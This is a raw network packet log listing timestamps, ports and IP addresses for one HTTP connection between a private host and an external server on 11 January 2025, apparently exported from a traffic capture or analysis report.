Jan 11, 2025 01:47:42.368093967 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.368105888 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.368113995 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.368139029 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.369039059 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.369050980 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.369062901 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.369075060 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.369097948 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.369127035 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.376655102 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.383285999 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.383302927 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.383347988 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.388684988 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.412352085 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.416579962 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416599989 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416631937 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.416641951 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416654110 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416665077 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416677952 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416718006 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.416853905 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416863918 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416908979 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.416913033 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.416944981 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.416949034 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.419941902 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.419960022 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.419972897 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.420005083 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.420042992 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.425606966 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.438736916 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.452528000 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455729008 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455740929 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455760002 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455770969 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455782890 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455795050 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.455846071 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455854893 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455866098 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.455868959 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.455899954 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.455979109 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456048965 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456049919 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.456067085 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456077099 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456082106 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456120014 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.456283092 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456294060 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456304073 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456310034 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456320047 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456351995 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.456382036 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.456546068 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456566095 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456578970 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456598997 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456600904 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.456610918 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456636906 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.456667900 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.456959963 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456970930 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456984997 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.456995964 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457006931 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457015038 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.457020044 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457034111 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457039118 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.457047939 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457068920 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.457093954 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.457351923 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457367897 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457379103 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457390070 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457401037 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457410097 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.457411051 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.457431078 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.457469940 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.464082956 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.476823092 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.492609024 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492620945 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492633104 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492643118 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492680073 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.492733955 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492743969 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.492743969 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492784977 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.492839098 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492851019 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492861032 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492887974 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.492980957 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.492997885 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493009090 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493020058 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493022919 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493030071 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493091106 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493091106 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493251085 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493259907 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493307114 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493387938 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493398905 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493411064 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493422031 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493432045 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493432999 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493448019 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493460894 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493488073 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493508101 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493918896 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493930101 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493941069 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493952036 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493963003 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493973017 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493978977 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493988991 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.493988991 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.493999958 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494012117 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494023085 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494029999 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494039059 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494066000 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.494077921 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.494760036 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494771004 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494781017 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494791985 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494803905 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494810104 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.494815111 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494827032 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494836092 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494842052 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.494846106 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494856119 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494865894 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.494867086 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494879007 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494890928 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494894028 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.494906902 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.494944096 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.494965076 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.495553970 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495564938 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495578051 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495589018 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495599985 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495611906 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.495620012 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495632887 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495644093 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495650053 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.495656967 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495667934 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495680094 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495688915 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.495690107 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495701075 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495711088 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.495718002 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.495747089 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.496464014 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.496474981 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.496530056 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.509049892 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.509113073 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.509123087 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.509135008 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.509155989 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.509167910 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.509175062 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.509180069 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.509236097 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.545027018 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545079947 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.545104027 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545115948 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545126915 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545140028 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545156002 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545160055 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.545170069 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545181990 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.545186996 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.545254946 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.547882080 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548295975 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548310041 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548335075 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548348904 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548358917 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548361063 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548377037 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548388958 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548398972 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548409939 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548445940 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548487902 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548500061 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548511028 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548540115 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548557043 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548569918 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548595905 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548609018 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548633099 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548682928 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548695087 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548705101 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548716068 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548732996 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548768044 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548819065 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548842907 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548857927 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548867941 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548871040 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548883915 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548904896 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.548917055 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.548959017 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.549051046 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549063921 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549094915 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549096107 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.549108028 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549119949 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549133062 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.549141884 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549154043 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549165010 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549170017 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.549181938 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549190044 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.549195051 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549206018 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549243927 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.549549103 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549561024 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549580097 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549590111 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.549604893 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.549637079 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585150957 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585239887 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585252047 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585263968 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585274935 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585285902 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585297108 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585350037 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585361004 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585375071 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585413933 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585418940 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585462093 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585474014 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585484028 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585504055 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585515022 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585517883 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585525990 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585544109 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585561991 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585617065 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585628033 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585639000 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585650921 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585661888 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585666895 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585685968 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585721970 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585840940 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585856915 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585866928 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585881948 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585892916 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585903883 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.585968018 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.585968018 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586059093 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586105108 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586116076 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586150885 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586154938 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586167097 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586184978 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586196899 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586198092 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586235046 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586400986 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586412907 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586425066 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586451054 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586467981 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586541891 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586553097 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586563110 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586572886 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586587906 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586590052 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586597919 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586611986 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586623907 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586628914 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586635113 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586646080 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586654902 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.586658001 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.586683989 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.587014914 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.587028027 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.587049961 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.587059975 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.587068081 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.587069988 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.587085962 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.587105036 CET	49707	80	192.168.2.10	193.143.1.205
